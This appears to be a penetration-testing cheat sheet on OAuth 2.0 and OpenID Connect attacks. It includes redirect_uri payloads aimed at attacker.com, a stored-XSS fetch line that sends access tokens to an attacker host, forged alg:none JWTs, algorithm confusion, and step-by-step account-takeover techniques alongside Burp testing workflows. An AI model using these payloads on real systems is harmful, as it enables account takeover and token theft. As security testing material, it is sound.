Web

OAuth 2.0 & OpenID Connect Attacks

OAuth 2.0 and OpenID Connect attack techniques: auth code interception via open redirect, state bypass, implicit flow token theft, PKCE downgrade, JWT algorithm confusion on ID tokens, account linking flaws, and Burp testing workflow.

OAuth 2.0 Flows

Grant TypeWhen usedRisk
Authorization CodeServer-side appsCode interception, state bypass
ImplicitJS SPAs (legacy)Token in URL fragment — logged, leaked
Client CredentialsMachine-to-machineClient secret exposure
PKCEMobile / SPAsPKCE downgrade, code injection

Reconnaissance

Find the OAuth provider’s configuration endpoint:

https://PROVIDER/.well-known/oauth-authorization-server
https://PROVIDER/.well-known/openid-configuration

This leaks: authorization_endpoint, token_endpoint, userinfo_endpoint, supported scopes, response types, and grant types.

Check the scope parameter on the authorization request — apps sometimes request more than they need (e.g. scope=openid profile email admin).


Detection: Identify the flow in Burp Proxy

Browse login → Proxy → HTTP history. Look for:

  1. A redirect to an external OAuth provider with parameters:

    • response_type=code → Authorization Code flow
    • response_type=token → Implicit flow
    • client_id=, redirect_uri=, scope=, state=
  2. After login, a redirect back with code= (auth code) or #access_token= (implicit).

  3. A back-end POST to the token endpoint exchanging the code for a token.


Attack 1: Auth Code Interception via Open Redirect

If the app has an open redirect and the OAuth server allows arbitrary redirect_uri, craft a URL that sends the code to your server:

https://OAUTH_SERVER/authorize?
  client_id=TARGET_CLIENT_ID&
  redirect_uri=https://TARGET/callback?next=https://attacker.com&
  response_type=code&
  scope=openid profile email&
  state=csrf_token

When the victim clicks your link and authorises, the code is appended to the redirect, which redirects to attacker.com?code=ABC123. You exchange the code for a token on the back-end.

If redirect_uri is validated on the domain only (path traversal bypass)

redirect_uri=https://TARGET.com/callback/../redirect?to=https://attacker.com
redirect_uri=https://TARGET.com@attacker.com
redirect_uri=https://attacker.com.TARGET.com

Attack 2: State Parameter Missing / Not Validated

The state parameter is OAuth’s CSRF protection. If it’s absent or not validated:

  1. Initiate an OAuth login yourself — capture the authorization URL.
  2. Do not follow the redirect (don’t authorize yet).
  3. Send the authorization URL to the victim (social engineering / stored XSS).
  4. The victim authorises — the code is sent to the redirect_uri (the legitimate app).
  5. The app logs the victim in — your session is now authenticated as them.

Test in Burp:

  1. Log in with OAuth, capture the callback request with code=.
  2. Drop it in Burp (don’t let the app process it).
  3. Change the state value to anything.
  4. Forward — if the app still accepts it → state not validated.

Attack 3: Implicit Flow Token Theft

In the implicit flow, the access token appears in the URL fragment (#access_token=...). The token is:

  • Logged in browser history
  • Sent in Referer headers to embedded third-party resources
  • Visible to JavaScript on the page

If a page with a stored XSS is visited after OAuth login, the fragment is accessible:

// From XSS on the target domain
fetch('https://ATTACKER/?token=' + location.hash);

Attack 4: Flawed Scope Upgrade

Some providers allow scope upgrades mid-session. If the app requests scope=openid profile but the provider also accepts scope=openid profile email admin:

Modify the scope parameter in the Proxy intercept before it reaches the OAuth server and add privileged scopes.


Attack 5: Unverified Email in ID Token

OpenID Connect returns an id_token (JWT) containing the user’s email claim. If the app:

  1. Authenticates based on the email in the ID token, AND
  2. Does not verify the ID token signature / issuer

Create your own JWT with any email and submit it:

{
  "alg": "none"
}
{
  "email": "admin@target.com",
  "sub": "admin"
}

Attack 6: Algorithm Confusion on ID Token (RS256 → HS256)

If the app uses the OAuth provider’s public key to verify RS256 JWTs but also accepts HS256:

  1. Retrieve the provider’s public key from /.well-known/jwks.json.
  2. Re-sign the modified JWT using HS256 with the public key as the HMAC secret.
  3. The server verifies the HS256 signature using the public key — and it passes.

In Burp → JWT Editor extension:

  1. Capture a response containing an id_token.
  2. Send to JWT Editor Keys → import the provider’s public key.
  3. In Repeater, switch alg to HS256 in the JWT header, modify claims, sign with the public key.

Attack 7: Account Linking Flaw

Apps that allow linking a social OAuth account to an existing account often do so based on matching email addresses. If you can register an OAuth account at the provider using a victim’s email (when the provider doesn’t verify email ownership):

  1. Create an OAuth account at provider.com using victim@target.com.
  2. Log into the app via OAuth.
  3. The app links it to the victim’s existing account.
  4. You are now authenticated as the victim.

PKCE Downgrade

PKCE protects the Authorization Code flow for public clients. If the server accepts requests without code_verifier (i.e. doesn’t enforce PKCE when a challenge was presented):

  1. Initiate PKCE flow normally (app sends code_challenge).
  2. Intercept the token exchange request.
  3. Remove the code_verifier parameter.
  4. If the server still issues a token → PKCE not enforced.

Burp Suite workflow

  1. Proxy — capture the full OAuth login flow (authorization request, callback with code, token exchange).
  2. Repeater — test redirect_uri manipulation, state removal, scope upgrade.
  3. JWT Editor extension — decode and modify id_token / access_token, test alg:none and algorithm confusion.
  4. Burp Collaborator — use as redirect_uri to receive leaked codes.
  5. Scanner — active scan detects open redirect chains and unvalidated state parameters.